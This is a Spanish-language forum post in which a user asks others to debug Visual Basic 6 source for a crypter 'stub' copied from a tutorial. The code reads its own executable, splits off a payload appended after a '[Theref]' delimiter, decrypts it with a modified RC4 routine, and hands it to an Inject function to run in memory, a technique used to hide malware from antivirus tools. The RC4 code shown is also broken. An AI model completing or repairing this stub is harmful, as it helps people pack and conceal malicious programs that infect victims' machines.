Hola amigoos, ya me he descargado el visual basic 6 (el instalador), me va mejor que el portable... pero no soluciona los "errores"
Ahora el delimitador no se que le pasa, pero cuando pruebo el stub, me lo pone en amarillo, el delimiter(1)... aqui os dejo el source ave si me podeis ayudar :S.. porque, el codigo esta identico al del tuto... asi que.. si me pueden ayudar me ira de lujoo :)
Aqui os dejo el source:
Mostrar/Ocultar
Public Function Inject(ByRef EiLCQBnltrFqlBhmOlDoFm() As Byte, ByVal piqGu As String, Optional ByVal KCjEOhoNOE As String, Optional ByRef lMnOrSiGmNmOiLului As Long) As Boolean
Sub Main()
Dim SHIT As String
SHIT = App.Path & "\" & App.EXEName & ".exe"
Dim Data As String
Open SHIT For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1
Dim Delimiter() As String
Delimiter() = Split(Data, "[Theref]")
Delimiter(1) = RC4(Delimiter(1), "therefenge") 'Aqui es donde me lo marca, pero que *******!!!
Call Inject(StrConv(Delimiter(1), vbFromUnicode), SHIT)
End Sub
Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^
On Error Resume Next
Dim F(0 To 255) As Integer, X, Y As Long, Key() As Byte
Key() = StrConv(Password, vbFromUnicode)
For X = 0 To 255
Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256
F(X) = X
Next X
Key() = StrConv(Data, vbFromUnicode)
For X = 0 To Len(Data)
Y = (Y + F(Y) + 1) Mod 256
Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))
Next X
RC4 = StrConv(Key, vbUnicode)
End Function